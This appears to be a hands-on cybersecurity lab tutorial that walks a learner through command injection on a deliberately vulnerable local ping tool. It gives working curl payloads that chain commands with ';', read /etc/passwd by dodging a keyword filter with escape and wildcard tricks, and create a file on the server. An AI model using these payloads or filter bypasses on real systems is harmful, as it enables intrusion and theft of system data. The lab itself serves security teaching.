Popular Searches

Command Injection Detection

CybersecurityBeginner
Practice Now

Introduction

Command Injection is a critical security vulnerability that occurs when an application passes unsafe, user-supplied data directly to a system shell. This allows an attacker to execute arbitrary operating system commands on the server hosting the application, potentially leading to full system compromise.

The key boundary being broken here is the boundary between application data and operating system instructions. Safe applications treat user input as data. Vulnerable ones accidentally let that input become part of a command line.

In this lab, you will interact with a vulnerable local web service designed as a "Network Diagnostic Tool". You will learn how to identify the injection point, use command separators to execute multiple commands, bypass basic security filters, and ultimately execute arbitrary commands on the system.

Identify the Injection Point

In this step, you will interact with a local web service running on your machine. The service is a simple "Network Diagnostic Tool" hosted on port 8080. It takes an IP address as input and uses the system's ping command to check if the IP is reachable.

To interact with this web service from the terminal, we will use curl, a command-line tool for transferring data with URLs. We will send a POST request containing the ip parameter.

First, let's test the application with a normal, expected input to see how it behaves. We will ask it to ping the local loopback address (127.0.0.1).

Run the following command in your terminal:

curl -X POST -d "ip=127.0.0.1" http://127.0.0.1:8080/

You should see an output similar to this, which is the standard output of the Linux ping command:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms

By observing the output, we can deduce that the application is likely taking our input (127.0.0.1) and directly appending it to a system command like ping -c 1 <input>. If the application does not properly sanitize or validate this input, it might be vulnerable to Command Injection.

This style of reasoning matters. You rarely start with source code in a real test. You infer backend behavior from how the application responds to carefully chosen inputs.

Test Command Separators (; | &&)

In Linux, command-line shells allow you to execute multiple commands on a single line by using special characters known as command separators. The most common separators are:

Command separators are dangerous in this context because they change the meaning of the whole shell expression, not just one argument inside it.

  • ; (Semicolon): Executes the next command regardless of whether the first command succeeded or failed.
  • && (AND): Executes the next command only if the first command succeeded.
  • || (OR): Executes the next command only if the first command failed.
  • | (Pipe): Passes the output of the first command as input to the second command.

If the web application is vulnerable, we can use these separators to append our own commands to the intended ping command.

Let's try injecting the id command, which prints the current user's identity. We will use the --data-urlencode flag with curl to ensure our special characters are safely transmitted to the server.

Execute the following command:

curl -X POST --data-urlencode "ip=127.0.0.1; id" http://127.0.0.1:8080/

Look closely at the output. You should see the ping statistics followed immediately by the output of the id command:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
uid=5000(labex) gid=5000(labex) groups=5000(labex),27(sudo),121(ssl-cert),5002(public)

The presence of uid=5000(labex)... confirms that our injected id command was successfully executed by the server. We have confirmed a Command Injection vulnerability!

Bypass Basic Input Filters

Developers often attempt to fix command injection vulnerabilities by implementing basic filters that block specific dangerous keywords. In our vulnerable application, the developer has tried to prevent attackers from reading sensitive files by blocking the words cat and etc.

This demonstrates why blacklist filtering is weak. Attackers are not limited to one spelling of a command or one exact representation of a path, but defenders who rely on string matching often assume they are.

Let's see what happens when we try to read the /etc/passwd file normally:

curl -X POST --data-urlencode "ip=127.0.0.1; cat /etc/passwd" http://127.0.0.1:8080/

You will receive a warning message:

Security Alert: Blocked keyword detected!

However, Linux shells are highly flexible, and there are many ways to represent the same command to bypass simple string-matching filters.

One technique is using the backslash \ character. In bash, a backslash escapes the next character, but if it escapes a regular letter, it is simply ignored by the shell. Therefore, c\at is interpreted as cat.

Another technique is using wildcards like ?, which matches any single character. Therefore, /e?c/passwd can match /etc/passwd.

Let's combine these techniques to bypass the filter and read the file:

curl -X POST --data-urlencode "ip=127.0.0.1; c\at /e?c/passwd" http://127.0.0.1:8080/

If successful, the output will display the contents of the /etc/passwd file, proving that the basic keyword filter was ineffective:

...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:5000:5000::/home/labex:/usr/bin/zsh

Execute Arbitrary Commands

Now that we know how to inject commands and bypass basic filters, we can execute arbitrary commands to manipulate the server environment. In a real-world scenario, an attacker might use this to download malware, establish a reverse shell, or modify system configurations.

To demonstrate the full impact of this vulnerability, we will use command injection to create a new file directly in your project directory. We will use the touch command, which creates an empty file if it doesn't already exist.

Execute the following command to inject the touch command and create a file named hacked.txt in /home/labex/project:

curl -X POST --data-urlencode "ip=127.0.0.1; touch /home/labex/project/hacked.txt" http://127.0.0.1:8080/

The output will only show the ping statistics, as the touch command does not produce any output upon success.

To verify that our arbitrary command execution was successful and the file was actually created, we can list the contents of our directory using the ls command:

ls -l /home/labex/project/hacked.txt

You should see the newly created file listed in the output:

-rw-rw-r-- 1 labex labex 0 Mar 12 09:14 /home/labex/project/hacked.txt

This confirms that you have successfully exploited the command injection vulnerability to alter the state of the server.

Summary

In this lab, you explored the mechanics of Command Injection vulnerabilities. You learned how to identify vulnerable input fields by observing application behavior, utilized command separators like ; to execute multiple commands, and applied evasion techniques using wildcards and escape characters to bypass basic security filters. Finally, you demonstrated the severity of this vulnerability by executing arbitrary commands to modify the server's file system. This highlights the critical importance of proper input sanitization and avoiding the direct execution of user input in system shells.